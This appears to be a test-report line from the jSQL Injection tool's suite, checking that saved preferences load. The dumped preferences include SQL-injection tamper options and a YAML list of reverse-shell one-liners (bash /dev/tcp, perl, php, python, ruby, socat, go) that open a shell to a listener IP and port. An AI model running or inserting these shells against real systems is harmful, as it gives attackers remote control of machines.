 |
Check saved preferences are loaded from the JVM [preferencesUtil: <com.jsql.util.PreferencesUtil@66756662 pathFile=null isCheckingUpdate=true isReportingBugs=true is4K=false isFollowingRedirection=false isHttp2Disabled=false isNotInjectingMetadata=false isNotSearchingCharInsertion=false isNotShowingVulnReport=false isCheckingAllParam=false isCheckingAllURLParam=false isCheckingAllRequestParam=false isCheckingAllHeaderParam=false isCheckingAllBase64Param=false isCheckingAllJsonParam=false isCheckingAllCookieParam=false isCheckingAllSoapParam=false isPerfIndexDisabled=false isDefaultStrategy=false isZipStrategy=false isDiosStrategy=false isUrlEncodingDisabled=false isUrlRandomSuffixDisabled=false isParsingForm=false isNotTestingConnection=false isNotProcessingCookies=false isProcessingCsrf=false isTamperingBase64=false isTamperingFunctionComment=false isTamperingVersionComment=false isTamperingEqualToLike=false isTamperingRandomCase=false isTamperingEval=false isTamperingSpaceToMultilineComment=false isTamperingSpaceToDashComment=false isTamperingSpaceToSharpComment=false csrfUserTag= csrfUserTagOutput= isCsrfUserTag=false isLimitingThreads=true countLimitingThreads=5 isConnectionTimeout=false countConnectionTimeout=15 isUnicodeDecodeDisabled=false isUrlDecodeDisabled=false isStrategyTimeDisabled=false isStrategyBlindBitDisabled=false isStrategyBlindBinDisabled=false isStrategyMultibitDisabled=false isStrategyStackDisabled=false isStrategyErrorDisabled=false isStrategyUnionDisabled=false isLimitingUnionIndex=false countUnionIndex=50 isLimitingSleepTimeStrategy=false countSleepTimeStrategy=5 themeFlatLafName= languageTag= isUserAgentRandom=false isUrlDecodeNetworkTab=false yaml=Yaml:2044792756 commandsReverseYaml=# Edit or add reverse shell scripts with the following template in YAML :
# - name: <reverse shell title>
# command: <script CLI connecting to the listener>
# Command must connect to your IP address and port (%s and %s in that order)
- name: bash
command: echo '/bin/bash -i >& /dev/tcp/%s/%s 0>&1' > a.sh && /bin/bash a.sh
- name: perl
command: |
perl -e '
use Socket;
$i="%s";
$p=%s;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){
open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");
};
'
- name: php
command: |
php -r '
$sock=fsockopen("%s",%s);
exec("/bin/sh -i <&3 >&3 2>&3");
'
- name: python
command: |
python3 -c '
import socket,os,pty;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("%s",%s));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
pty.spawn("/bin/sh")
'
- name: ruby
command: |
ruby -rsocket -e'
exit if fork;
c=TCPSocket.new("%s","%s");
loop{c.gets.chomp!;
(exit! if $_=="exit");
($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}
'
- name: socat
command: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:%s:%s
- name: go
command: |
echo '
package main;
import"os/exec";
import"net";
func main(){
c,_:=net.Dial("tcp","%s:%s");
cmd:=exec.Command("/bin/sh");
cmd.Stdin=c;
cmd.Stdout=c;
cmd.Stderr=c;
cmd.Run()
}
' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
commandsReverse=[com.jsql.util.reverse.ModelReverse@1d77746b, com.jsql.util.reverse.ModelReverse@4ced17f3, com.jsql.util.reverse.ModelReverse@734a149a, com.jsql.util.reverse.ModelReverse@6ce9771c, com.jsql.util.reverse.ModelReverse@4a9b92c6, com.jsql.util.reverse.ModelReverse@6eed46e9, com.jsql.util.reverse.ModelReverse@4d20616a]>, isCheckingUpdate: false, isReportingBugs: false, is4K: false, isFollowingRedirection: true, isNotInjectingMetadata: true, isNotSearchingCharInsertion: true, isCheckingAllParam: true, isCheckingAllURLParam: true, isCheckingAllRequestParam: true, isCheckingAllHeaderParam: true, isCheckingAllJsonParam: true, isCheckingAllCookieParam: true, isCheckingAllSoapParam: true, isParsingForm: true, isNotTestingConnection: true, isNotProcessingCookies: true, isProcessingCsrf: true, isTamperingBase64: true, isTamperingEqualToLike: true, isTamperingFunctionComment: true, isTamperingVersionComment: true, isTamperingRandomCase: true, isTamperingEval: true, isTamperingSpaceToDashComment: true, isTamperingSpaceToMultilineComment: true, isTamperingSpaceToSharpComment: true, isLimitingThreads: true, countLimitingThreads: 0, isCsrfUserTag: true, csrfUserTag: , #0] |
0.083 s |
